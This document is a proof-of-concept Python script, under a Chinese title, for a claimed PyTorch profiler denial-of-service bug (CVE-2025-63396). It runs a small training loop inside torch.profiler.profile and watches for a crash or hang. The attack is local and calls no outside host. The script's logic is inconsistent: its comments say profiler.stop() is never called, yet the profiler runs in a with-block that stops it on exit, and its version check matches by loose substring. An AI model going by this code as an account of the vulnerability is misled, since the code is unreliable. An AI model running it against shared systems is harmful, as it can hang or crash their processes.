CVE-2025-63396 PyTorch profiler拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2025-63396 PoC - PyTorch profiler DoS Description: Omission of profiler.stop() causes torch.profiler.profile (PythonTracer) to crash or hang during finalization Author: Security Researcher Reference: https://nvd.nist.gov/vuln/detail/CVE-2025-63396 """ import torch import torch.profiler import sys import time import os def trigger_vulnerability(): """ Trigger the DoS vulnerability by using profiler without calling stop() """ print(f"[+] PyTorch version: {torch.__version__}") print(f"[+] Triggering CVE-2025-63396 vulnerability...") # Create profiler with PythonTracer - BUG: missing profiler.stop() try: with torch.profiler.profile( activities=[ torch.profiler.ProfilerActivity.CPU, torch.profiler.ProfilerActivity.CUDA, ], schedule=torch.profiler.schedule(wait=1, warmup=1, active=3, repeat=1), on_trace_ready=torch.profiler.tensorboard_trace_handler('./log'), record_shapes=True, profile_memory=True, with_stack=True ) as prof: # Perform some computation model = torch.nn.Linear(100, 100) optimizer = torch.optim.SGD(model.parameters(), lr=0.01) for step in range(5): # Simulate training step data = torch.randn(32, 100) target = torch.randn(32, 100) output = model(data) loss = torch.nn.functional.mse_loss(output, target) optimizer.zero_grad() loss.backward() optimizer.step() prof.step() # BUG: profiler.stop() is NOT called # This will cause crash/hang during finalization print("[-] WARNING: profiler.stop() was not called!") print("[-] Profiler will crash/hang during cleanup...") except Exception as e: print(f"[!] Exception caught: {e}") return False # When exiting this scope, the profiler will be finalized # without proper cleanup, potentially causing DoS print("[+] Function completed, cleanup will occur...") return True def main(): print("=" * 60) print("CVE-2025-63396 - PyTorch Profiler DoS Vulnerability PoC") print("=" * 60) # Check PyTorch version version = torch.__version__ print(f"[*] PyTorch Version: {version}") # Check if version is affected (v2.5 or v2.7.1) affected_versions = ['2.5', '2.7.1'] is_affected = any(v in version for v in affected_versions) if is_affected: print(f"[!] This PyTorch version ({version}) is VULNERABLE") else: print(f"[*] This PyTorch version ({version}) may not be affected") print("\n[*] Executing vulnerable code...") print("[*] Expected behavior: Crash or hang during cleanup\n") # Set timeout to detect hang import signal def timeout_handler(signum, frame): print("\n[!] TIMEOUT: Process appears to be hanging (DoS triggered)") sys.exit(1) # Set 10 second timeout signal.signal(signal.SIGALRM, timeout_handler) signal.alarm(10) try: trigger_vulnerability() print("\n[+] Script completed - check if process hung during cleanup") except KeyboardInterrupt: print("\n[!] Interrupted by user") finally: signal.alarm(0) if __name__ == "__main__": main()